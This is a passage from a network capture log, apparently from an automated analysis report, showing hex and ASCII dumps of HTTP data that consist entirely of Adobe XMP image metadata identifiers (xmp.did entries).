3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 
33 30 32 38 41 42 43 35 38 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: FAAF93CBE4</rdf:li> <rdf:li>xmp.did:0880117407206811871FF4983C0C3FFA</rdf:li> <rdf:li>xmp.did:0880
11740720681188C6B0CC95384F1C</rdf:li> <rdf:li>xmp.did:088011740720681188C6BC67E719B286</rdf:li> <rdf
:li>xmp.did:08801174072068118A6D83028ABC58A8</rdf:li> <rd

2022-05-13 14:42:07 UTC 7105 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 41 41 44 42 32 36 31 38 32 30 36 38 31 31 38 41 
36 44 43 35 43 34 38 42 44 43 41 37 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 30 43 41 46 38 34 30 37 36 33 32 31 36 38 31 31 38 30 38 33 43 42 34 46 39 31 38 35 42 41 37 33 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 42 43 44 36 33 34 34 32 32 36 36 38 31 31 38 32 32 
41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
30 43 43 45 37 31 39 38 41 37 35 33 31 31 45 31 39 45 43 42 42 36 32 44 35 46 42 39 46 33 42 37 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 43 45 31 30 30 
Data Ascii:  <rdf:li>xmp.did:0CAADB26182068118A6DC5C48BDCA751</rdf:li> <rdf:li>xmp.did:0CAF840763216
8118083CB4F9185BA73</rdf:li> <rdf:li>xmp.did:0CBCD63442266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.d
id:0CCE7198A75311E19ECBB62D5FB9F3B7</rdf:li> <rdf:li>xmp.did:0CE100

2022-05-13 14:42:07 UTC 7121 IN Data Raw: 36 30 34 34 31 32 30 36 38 31 31 42 39 39 30 38 32 33 35 34 39 31 38 38 32 34 36 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 42 39 43 46 41 34 35 38 32 30 36 38 31 31 41 42 35 30 39 39 
35 41 39 32 34 43 46 44 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 42 
42 39 31 30 38 30 41 32 30 36 38 31 31 38 43 31 34 46 34 45 46 32 30 45 42 43 38 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 43 34 42 31 33 30 39 39 32 33 36 38 31 31 38 46 36 32 44 36 30 
34 41 35 46 43 41 30 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 44 30 
38 30 46 31 32 30 33 41 31 31 45 35 41 31 32 35 42 34 30 41 37 38 31 42 
Data Ascii: 60441206811B990823549188246</rdf:li> <rdf:li>xmp.did:1DB9CFA458206811AB50995A924CFDBA</rdf:li> 
<rdf:li>xmp.did:1DBB91080A2068118C14F4EF20EBC8D3</rdf:li> <rdf:li>xmp.did:1DC4B130992368118F62D604A5FCA
040</rdf:li> <rdf:li>xmp.did:1DD080F1203A11E5A125B40A781B

2022-05-13 14:42:07 UTC 7137 IN Data Raw: 3a 32 44 30 33 31 38 37 38 30 43 32 30 36 38 31 31 39 39 34 43 39 43 36 35 38 41 30 44 36 45 33 45 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 31 31 30 37 35 42 30 43 32 30 36 38 31 
31 42 42 31 44 41 37 43 37 31 45 42 41 36 46 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 32 44 31 31 32 46 33 34 38 46 32 31 36 38 31 31 42 38 34 30 41 36 32 46 38 43 46 32 45 39 44 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 33 33 30 36 38 43 39 38 32 30 36 38 31 31 
38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 32 44 33 39 33 46 32 34 32 35 39 42 31 31 45 30 42 35 36 36 38 44 
Data Ascii: :2D0318780C206811994C9C658A0D6E3E</rdf:li> <rdf:li>xmp.did:2D11075B0C206811BB1DA7C71EBA6
F7E</rdf:li> <rdf:li>xmp.did:2D112F348F216811B840A62F8CF2E9DC</rdf:li> <rdf:li>xmp.did:2D33068C98206
8118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:2D393F24259B11E0B5668D

2022-05-13 14:42:07 UTC 7272 IN Data Raw: 30 39 33 36 44 43 38 32 38 45 41 38 37 45 42 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 33 32 65 64 33 64 64 34 2d 33 36 36 65 2d 30 30 34 31 2d 61 33 63 38 2d 34 34 31 35 39 35 61 34 
34 35 64 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 30 32 63 34 34 61 2d 
36 30 38 37 2d 38 31 34 38 2d 38 35 63 31 2d 65 63 38 37 39 38 33 30 66 61 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 31 32 61 37 32 38 2d 62 30 30 34 2d 34 65 34 65 2d 62 32 62 37 2d 37 
66 38 34 36 62 37 65 65 39 62 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 
32 33 33 33 38 32 41 33 36 32 45 31 31 31 39 44 42 37 43 36 46 35 33 43 
Data Ascii: 0936DC828EA87EBE3</rdf:li> <rdf:li>xmp.did:32ed3dd4-366e-0041-a3c8-441595a445d5</rdf:li> <rdf:li>x
mp.did:3302c44a-6087-8148-85c1-ec879830fa60</rdf:li> <rdf:li>xmp.did:3312a728-b004-4e4e-b2b7-7f846b7ee9bc</rdf
:li> <rdf:li>xmp.did:33233382A362E1119DB7C6F53C

2022-05-13 14:42:07 UTC 7288 IN Data Raw: 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 31 
36 45 35 45 33 44 43 32 30 36 38 31 31 38 46 36 32 45 31 35 32 30 45 42 46 32 34 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 31 37 38 42 38 31 38 38 44 34 44 44 31 31 42 46 38 32 38 46 31 
38 44 45 45 41 45 36 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 31 39 6
3 37 34 66 2d 61 61 33 32 2d 34 35 35 31 2d 61 33 63 33 2d 39 61 32 36 65 39 35 66 31 35 31 31 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 32 30 61 33 37 61 2d 39 37 38 33 2d 34 62 31 36 2d 62 65 
32 63 2d 33 66 36 33 37 38 61 32 62 32 62 39 3c 2f 72 64 66 3a 6c 69 
Data Ascii: D570A5C</rdf:li> <rdf:li>xmp.did:4116E5E3DC2068118F62E1520EBF2401</rdf:li> <rdf:li>xmp.did:41178B8
188D4DD11BF828F18DEEAE683</rdf:li> <rdf:li>xmp.did:4119c74f-aa32-4551-a3c3-9a26e95f1511</rdf:li> <rdf:li>xmp.d
id:4120a37a-9783-4b16-be2c-3f6378a2b2b9</rdf:li

2022-05-13 14:42:07 UTC 7304 IN Data Raw: 34 64 2d 38 32 30 34 2d 33 64 31 66 37 32 30 37 63 35 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 35 31 33 32 34 44 38 44 30 41 32 30 36 38 31 31 38 30 38 33 43 37 44 39 41 46 31 46 31 
34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 33 33 41 44 30 44 31 35 
32 30 36 38 31 31 39 35 46 45 44 41 30 39 31 41 45 30 35 31 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 35 31 34 37 32 64 32 61 2d 39 31 61 63 2d 34 33 64 62 2d 39 31 39 37 2d 31 66 35 63 33 32 
36 32 31 37 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 34 42 34 41 46 
42 39 35 32 35 45 32 31 31 41 36 41 32 38 37 35 34 41 31 41 32 36 36 46 
Data Ascii: 4d-8204-3d1f7207c5b5</rdf:li> <rdf:li>xmp.did:51324D8D0A2068118083C7D9AF1F1492</rdf:li> <rdf:li>xm
p.did:5133AD0D1520681195FEDA091AE05118</rdf:li> <rdf:li>xmp.did:51472d2a-91ac-43db-9197-1f5c32621753</rdf:li> 
<rdf:li>xmp.did:514B4AFB9525E211A6A28754A1A266F

2022-05-13 14:42:07 UTC 7312 IN Data Raw: 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 35 37 61 30 34 64 38 38 2d 38 39 36 37 2d 34 38 38 36 2d 62 32 62 66 2d 64 38 63 66 63 62 64 36 32 39 31 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 65 65 38 38 66 30 2d 33 61 62 62 2d 
31 30 34 37 2d 62 36 36 61 2d 65 62 62 34 38 62 33 63 32 37 39 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 35 38 30 39 30 36 46 34 33 41 32 30 36 38 31 31 39 34 41 38 41 36 33 32 45 33 41 35 37 32 
38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 38 31 43 31 31 36 37 35 30 32 
44 45 31 31 31 42 43 32 38 43 41 37 39 31 34 37 30 34 31 33 37 3c 2f 72 
Data Ascii: 8E2D99A676D6</rdf:li> <rdf:li>xmp.did:57a04d88-8967-4886-b2bf-d8cfcbd62917</rdf:li> <rdf:li>xmp.di
d:57ee88f0-3abb-1047-b66a-ebb48b3c279b</rdf:li> <rdf:li>xmp.did:580906F43A20681194A8A632E3A5728F</rdf:li> <rdf
:li>xmp.did:581C1167502DE111BC28CA7914704137</r
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2022-05-13 14:42:07 UTC 7328 IN Data Raw: 39 31 30 39 42 45 41 37 31 35 32 42 31 33 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 36 37 38 36 31 36 64 32 2d 64 32 33 34 2d 34 35 31 33 2d 38 62 36 32 2d 38 36 32 34 39 39 39 39 30 
37 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 38 38 38 30 45 38 30 39 
32 30 36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 36 37 39 45 33 37 39 42 45 31 32 30 36 38 31 31 39 31 30 39 41 32 43 44 31 31 44 44 43 42 
44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 41 46 30 37 36 32 45 33 32 
30 36 38 31 31 39 33 37 38 38 36 37 45 32 37 38 30 37 42 30 45 3c 2f 72 
Data Ascii: 9109BEA7152B1323</rdf:li> <rdf:li>xmp.did:678616d2-d234-4513-8b62-862499990715</rdf:li> <rdf:li>xm
p.did:678880E80920681192B0BAA904DE0F8D</rdf:li> <rdf:li>xmp.did:679E379BE12068119109A2CD11DDCBDD</rd
f:li> <rdf:li>xmp.did:67AF0762E32068119378867E27807B0E</r

2022-05-13 14:42:07 UTC 7344 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 37 36 31 33 36 66 31 64 2d 62 66 65 33 2d 65 65 34 38 2d 39 35 38 61 2d 35 
61 65 37 31 38 30 35 66 30 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 
31 43 41 37 46 35 30 46 32 30 36 38 31 31 38 43 31 34 41 36 33 44 31 41 39 33 31 30 44 36 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 31 63 34 36 31 34 2d 62 35 36 65 2d 34 38 31 31 2d 61 63 34 
36 2d 61 36 63 61 65 30 33 64 65 35 30 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 37 36 32 39 38 46 36 38 30 43 32 30 36 38 31 31 39 39 34 43 39 43 36 35 38 41 30 44 36 45 33 45 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 36 33 30 38 
Data Ascii: i>xmp.did:76136f1d-bfe3-ee48-958a-5ae71805f092</rdf:li> <rdf:li>xmp.did:761CA7F50F2068118C14A63D1A
9310D6</rdf:li> <rdf:li>xmp.did:761c4614-b56e-4811-ac46-a6cae03de50b</rdf:li> <rdf:li>xmp.did:76298F680C206811
994C9C658A0D6E3E</rdf:li> <rdf:li>xmp.did:76308

2022-05-13 14:42:07 UTC 7352 IN Data Raw: 31 33 38 34 39 35 31 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 
31 30 35 64 64 33 2d 61 64 37 63 2d 34 36 38 62 2d 39 61 31 39 2d 38 62 66 65 36 64 33 31 33 31 35 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 31 33 30 64 34 31 2d 38 62 37 63 2d 34 30 36 34 
2d 38 32 65 34 2d 64 64 65 33 63 34 39 30 30 37 62 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2
e 64 69 64 3a 37 62 31 66 36 65 39 33 2d 66 38 33 30 2d 32 34 34 63 2d 62 62 34 66 2d 39 36 32 37 37 61 63 37 35 30 
31 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 35 33 63 36 65 37 2d 36 62 
34 35 2d 34 63 31 62 2d 61 39 65 63 2d 34 34 30 65 35 32 32 66 35 31 32 
Data Ascii: 1384951f</rdf:li> <rdf:li>xmp.did:7b105dd3-ad7c-468b-9a19-8bfe6d313154</rdf:li> <rdf:li>xmp.did:7b130d41-
8b7c-4064-82e4-dde3c49007b0</rdf:li> <rdf:li>xmp.did:7b1f6e93-f830-244c-bb4f-96277ac7501a</rdf:li> <rdf:li>xmp.di
d:7b53c6e7-6b45-4c1b-a9ec-440e522f512

2022-05-13 14:42:07 UTC 7368 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 44 39 46 31 38 46 46 30 37 32 30 36 38 31 31 
38 32 32 41 38 42 33 32 31 34 32 37 42 43 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 38 44 45 37 39 46 31 42 45 32 32 37 36 38 31 31 38 43 31 34 41 46 39 44 32 37 33 35 41 34 38 33 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 44 46 33 37 31 34 33 39 38 32 32 36 38 31 31 38 
32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 38 45 30 36 46 32 38 37 43 42 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 30 42 
Data Ascii: i> <rdf:li>xmp.did:8D9F18FF07206811822A8B321427BC3F</rdf:li> <rdf:li>xmp.did:8DE79F1BE22
768118C14AF9D2735A483</rdf:li> <rdf:li>xmp.did:8DF3714398226811822A9E418F455C5D</rdf:li> <rdf:li>xmp
.did:8E06F287CB2068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:8E0B

2022-05-13 14:42:07 UTC 7384 IN Data Raw: 41 45 30 31 31 42 33 30 38 46 32 45 32 43 42 37 41 30 30 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 42 39 32 37 38 43 31 37 42 46 31 31 45 31 42 42 32 37 43 46 42 43 41 43 33 33 
46 37 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 41 43 33 44 37 31 44 37 
42 32 32 36 38 31 31 41 39 36 31 44 36 30 42 42 46 34 44 33 35 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 39 41 46 44 33 33 44 46 46 36 32 33 36 38 31 31 39 32 42 30 43 31 34 38 38 35 36 34 43 
46 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 42 30 38 30 44 33 46 30 44 
32 31 36 38 31 31 39 37 41 35 43 35 33 35 33 39 39 44 41 36 43 43 3c 2f 
Data Ascii: AE011B308F2E2CB7A000B</rdf:li> <rdf:li>xmp.did:9AB9278C17BF11E1BB27CFBCAC33F71C</rdf:li> 
<rdf:li>xmp.did:9AC3D71D7B226811A961D60BBF4D357D</rdf:li> <rdf:li>xmp.did:9AFD33DFF623681192B0C1488
564CF7E</rdf:li> <rdf:li>xmp.did:9B080D3F0D21681197A5C535399DA6CC</

2022-05-13 14:42:07 UTC 7392 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 33 39 43 42 37 46 42 32 38 32 30 36 38 31 31 41 34 
38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 41 33 41 44 45 35 46 44 35 45 42 31 45 30 31 31 39 46 41 31 43 35 45 43 31 44 31 30 41 31 36 32 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 33 42 33 30 38 43 39 33 38 32 30 36 38 31 31 41 37 42 
41 43 35 36 42 46 44 39 33 39 30 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
41 33 42 35 33 41 35 35 34 30 32 30 36 38 31 31 41 44 41 35 38 34 31 30 34 41 30 45 30 31 42 43 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 33 42 36 41 43 
Data Ascii:  <rdf:li>xmp.did:A39CB7FB28206811A482F7E3229B110C</rdf:li> <rdf:li>xmp.did:A3ADE5FD5EB1E
0119FA1C5EC1D10A162</rdf:li> <rdf:li>xmp.did:A3B308C938206811A7BAC56BFD939003</rdf:li> <rdf:li>xmp.d
id:A3B53A5540206811ADA584104A0E01BC</rdf:li> <rdf:li>xmp.did:A3B6AC

2022-05-13 14:42:07 UTC 7408 IN Data Raw: 36 39 30 31 41 45 32 31 31 38 37 36 31 45 38 45 46 42 33 36 37 44 39 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 33 41 44 34 45 41 30 37 32 30 36 38 31 31 38 30 38 33 46 34 43 31 
44 33 42 37 32 32 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 34 42 31 
33 34 35 33 45 32 33 36 38 31 31 41 39 46 42 46 39 34 36 33 33 34 30 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 35 36 37 37 41 41 39 30 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 
32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 35 44 38 35 
30 30 37 36 33 35 31 31 44 46 42 38 32 33 46 31 43 43 42 38 41 41 30 34 
Data Ascii: 6901AE2118761E8EFB367D965</rdf:li> <rdf:li>xmp.did:BC3AD4EA072068118083F4C1D3B72213</rdf:li> 
<rdf:li>xmp.did:BC4B13453E236811A9FBF9463340D9D1</rdf:li> <rdf:li>xmp.did:BC5677AA902068118083A
2B6C28313CA</rdf:li> <rdf:li>xmp.did:BC5D8500763511DFB823F1CCB8AA04

2022-05-13 14:42:07 UTC 7424 IN Data Raw: 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 6d 70 2f 65 78 74 65 6e 73 69 6f 6e 2f 00 44 30 
41 33 39 39 46 34 41 45 41 43 31 44 35 32 33 36 45 36 43 31 37 41 31 39 33 42 34 41 33 44 00 10 2c c0 00 0e f8 08 43 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 38 35 42 34 44 39 45 36 31 37 45 
30 31 31 41 41 38 37 45 41 37 31 39 35 42 41 36 44 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 44 32 38 37 41 46 32 43 31 37 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 39 35 34 37 38 36 30 38 32 30 36 38 
31 31 41 46 46 44 46 41 39 44 36 37 39 37 37 43 42 35 3c 2f 72 64 66 
Data Ascii: http://ns.adobe.com/xmp/extension/D0A399F4AEAC1D5236E6C17A193B4A3D,C</rdf:li> <rdf:li>xm
p.did:D285B4D9E617E011AA87EA7195BA6DFB</rdf:li> <rdf:li>xmp.did:D287AF2C172068118083BFD9A9F81730</rd
f:li> <rdf:li>xmp.did:D295478608206811AFFDFA9D67977CB5</rdf
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2022-05-13 14:42:07 UTC 7431 IN Data Raw: 41 39 45 32 31 44 33 34 45 39 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 44 42 41 31 34 46 44 33 31 38 37 31 45 32 31 31 41 44 43 35 38 36 42 30 30 38 36 42 46 33 30 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 42 43 38 34 34 33 43 39 32 30 36 38 31 31 38 41 
36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 44 42 43 38 30 44 38 41 39 36 32 30 36 38 31 31 38 37 31 46 44 43 45 30 41 31 37 42 46 45 42 30 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 42 45 46 45 42 44 30 30 37 32 30 36 38 31 31 38 43 31 34 
41 46 43 38 42 32 37 31 30 30 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: A9E21D34E9EE</rdf:li> <rdf:li>xmp.did:DBA14FD31871E211ADC586B0086BF303</rdf:li> <rdf:li>xmp.did:DB
BC8443C92068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:DBC80D8A96206811871FDCE0A17BFEB0</rdf:li> <r
df:li>xmp.did:DBEFEBD0072068118C14AFC8B2710034</rdf:li> <

2022-05-13 14:42:07 UTC 7447 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 46 35 38 32 39 35 46 41 30 31 44 34 31 31 45 32 38 31 30 38 44 46 46 33 35 
35 45 42 37 30 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 39 38 41 43 
43 34 32 37 32 30 36 38 31 31 38 38 46 38 46 39 35 46 38 34 34 46 35 42 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 44 31 35 31 37 35 30 43 32 30 36 38 31 31 38 46 36 32 45 38 44 44 34 41 
39 46 38 43 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 44 41 42 38 35 
35 31 38 32 30 36 38 31 31 38 30 38 33 38 41 34 43 42 32 32 39 32 34 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 35 45 37 38 43 39 35 42 37 38 45 45 
Data Ascii: i>xmp.did:F58295FA01D411E28108DFF355EB7048</rdf:li> <rdf:li>xmp.did:F598ACC42720681188F8
F95F844F5B9F</rdf:li> <rdf:li>xmp.did:F5D151750C2068118F62E8DD4A9F8CB8</rdf:li> <rdf:li>xmp.did:F5DA
B8551820681180838A4CB22924AE</rdf:li> <rdf:li>xmp.did:F5E78C95B78EE

2022-05-13 14:42:07 UTC 7463 IN Data Raw: 30 39 45 33 37 37 30 31 39 41 34 44 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 39 30 32 45 34 46 35 41 35 32 32 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 
39 32 42 30 43 39 33 36 32 35 42 35 43 30 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 6
9 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 41 38 32 46 36 43 44 34 33 30 41 30 33 31 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 
31 37 35 42 44 38 37 39 41 39 42 45 32 31 34 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: 09E377019A4DC5</rdf:li> <rdf:li>xmp.did:FB7F1174072068119109E902E4F5A522</rdf:li> <rdf:li>xmp.did:
FB7F11740720681192B0C93625B5C027</rdf:li> <rdf:li>xmp.did:FB7F1174072068119A82F6CD430A0319</rdf:li> 
<rdf:li>xmp.did:FB7F117407206811A175BD879A9BE214</rdf:li>

2022-05-13 14:42:07 UTC 7468 IN Data Raw: 42 31 41 34 46 37 42 35 31 39 31 45 36 43 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 38 34 30 45 31 34 31 39 38 39 36 45 31 45 44 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 32 30 36 38 
31 31 42 39 45 37 39 44 33 36 34 43 45 46 41 35 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2
